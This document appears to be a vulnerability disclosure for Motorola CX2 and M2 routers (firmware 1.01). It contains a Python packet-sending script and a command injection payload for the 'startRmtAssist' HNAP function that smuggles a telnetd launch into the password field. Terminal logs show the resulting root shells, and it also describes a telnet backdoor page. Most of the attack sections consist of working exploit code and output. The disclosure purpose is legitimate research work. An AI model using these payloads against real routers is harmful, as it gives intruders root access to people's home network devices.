

Motorola routers

Description

`http://www.soplar.cn/moluyou.html`

Version

CX2: 1.01
M2: 1.01

download link

Motorola CX2 (Refer: `http://www.soplar.cn/moluyou.html`)
Motorola M2 (Refer: `http://www.soplar.cn/moluyou.html`)

Others

this bug is reported by `pwd&zsh1y@360TeamSerious`.
please send email to `teamSerious360@gmail.com` if you have any quetions.

python script that payloads used

```
from pwn import *
import binascii
import struct

def sendp(content):
    r = remote("192.168.51.1",8010)
    #00 01 00 5a 00 00 00 00 00 00 00 3a
    data = '\x00\x01\x00\x5a' + p32(0) + struct.pack(">I",len(content) + 4)
    data += content
    #crc
    crc32 = binascii.crc32(content) & 0xffffffff
    data += struct.pack(">I",crc32)
    l = r.send(data)
    print r.recv(1024)
    r.close()
```

— getTerminalList

```
zsh1y@CTF:~/IoT/moto$ telnet 192.168.51.1 8090
Trying 192.168.51.1...
Connected to 192.168.51.1.
Escape character is '^['.
```

```
BusyBox v1.22.1 (2017-04-01 17:26:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

```
/etc/config #
```

二 startRmtAssist

description

An issue was discovered in CX2 1.01 and M2 1.01, There is a command injection in Function 'startRmtAssist' in hnap, which leads to rce.

reproduce

command injection,payload

```
sendp({'header':{'cmd':"startRmtAssist","code":-1,"msgId":"20"}, "body":
{"ip":"192.168.51.1","port":"23333","tunnelPort":"6666","userName":"zsh1y","passwd":"$(telnetd -l /bin/ash -p 13337)"}})
```

```
zsh1y@CTF:~/IoT/moto$ telnet 192.168.51.1 13337
Trying 192.168.51.1...
Connected to 192.168.51.1.
Escape character is '^['.
```

```
BusyBox v1.22.1 (2017-04-01 17:26:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

```
/etc/config #
```

四 telnet backdoor

description

An issue was discovered in CX2 1.01 and M2 1.01, users can access router's web page "http://192.168.51.1/priv_mgt.html" to launch telnetd.

ⓘ 不安全 | 192.168.51.1/priv_mgt.html

启用telnet ☒

```
zsh1y@CTF:~/IoT/moto$ telnet 192.168.51.1
Trying 192.168.51.1...
Connected to 192.168.51.1.
Escape character is '^]'.
WARNING: telnet is a security risk
OpenWrt login: root
Password:

BusyBox v1.22.1 (2017-04-01 17:26:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
```